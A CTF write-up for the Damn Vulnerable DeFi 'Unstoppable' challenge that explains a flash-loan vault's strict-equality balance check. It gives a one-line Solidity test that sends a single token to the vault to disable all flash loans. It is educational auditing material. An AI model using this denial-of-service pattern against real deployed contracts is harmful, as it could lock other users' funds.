Damn Vulnerable DeFi - Challenge 1: Unstoppable
Recently I have been interested in web3/blockchain/smart contract auditing thanks to cts and the wonderful blog that she wrote. To learn smart contract auditing, she recommended solving the Damn Vulnerable DeFi CTF challenges.
This is my solution and notes for the first challenge Unstoppable.
Challenge Intro
The smart contract for this level is a tokenized vault that provides flash loans for users. A flash loan is a loan given to users that must be paid back within the same transaction. A user can borrow tokens from the vault/pool and do whatever they want with them, as long as they repay the loan plus a fee. If the user fails to do so, then the transaction reverts and any transactions the user made are undone.
Some real world flash loan protocols are Aave and Compound.
Our goal is to find a way to halt the vault and prevent anyone from taking out flash loans. We are essentially performing a denial-of-service attack!
There are some legit reasons for halting or pausing vaults:
- The protocol is being attacked and an admin or security staff want to stop the bleeding
- An admin might pause transactions while the platform is undergoing maintenance
It makes sense that an admin can perform halts, but what if any user can perform them? This would be a huge issue and could cause assets to be locked in the contract (users are unable to withdraw). Today’s challenge is a gentle introduction into how poor programming can lead to a user halting a smart contract vault.
Source Code Analysis
We are given two Solidity files:
UnstoppableVault.sol
: main smart contract that handles flash loansUnstoppableMonitor.sol
: monitors the vault’s flash loans
The UnstoppableVault.sol file contains the main logic, so let’s begin our analysis there. The file is rather small and after a couple minutes of reading the source code we see the logic for executing flash loans:
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
@> uint256 balanceBefore = totalAssets();
@> if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
uint256 fee = flashFee(_token, amount);
if (
receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
!= keccak256("IERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}
Using the if
statements as a guide, we see that there are four checks that must be passed to execute a flash loan:
- The requested loan amount must be more than 0
- Only DVT tokens are allowed
- The total supply of assets and shares must be equal
- The user’s callback function return a magic value (hash of the string “IERC3156FlashBorrower.onFlashLoan”)
If any of these checks fail, then our transaction will revert. This will stop us from being able to take out a flash loan, but our goal is to stop everyone from being able to take out loans.
We can do this by breaking the third check:
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
The function checks that the total supply of vault tokens and the total supply of underlying tokens (DVT tokens) are equal. If we send an extra token to the contract, then this check will fail and no flash loans will not be executed.
Exploit
To perform the exploit of writing more tokens to the vault to cause a mismatch, write the following to the test/unstoppable/Unstoppable.t.sol
test file.
/**
* CODE YOUR SOLUTION HERE
*/
function test_unstoppable() public checkSolvedByPlayer {
require(token.transfer(address(vault), 1));
}
This code will transfer a single DVT token (the underlying token for the protocol) to the UnstoppableVault contract and prevent further flash loans.
Then run the test with:
forge test --mp test/unstoppable/unstoppable.t.sol
If successful, you should have passed both test cases:
Ran 2 tests for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_assertInitialState() (gas: 69704)
[PASS] test_unstoppable() (gas: 74619)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 17.84ms (936.12µs CPU time)
Ran 1 test suite in 119.29ms (17.84ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
Lessons Learned
In this challenge, we saw how the use of strict equalities can be dangerous. Here is an excerpt from Secureum 101:
Dangerous strict equalities: Use of strict equalities with tokens/Ether can accidentally/maliciously cause unexpected behavior. Consider using >= or <= instead of == for such variables depending on the contract logic.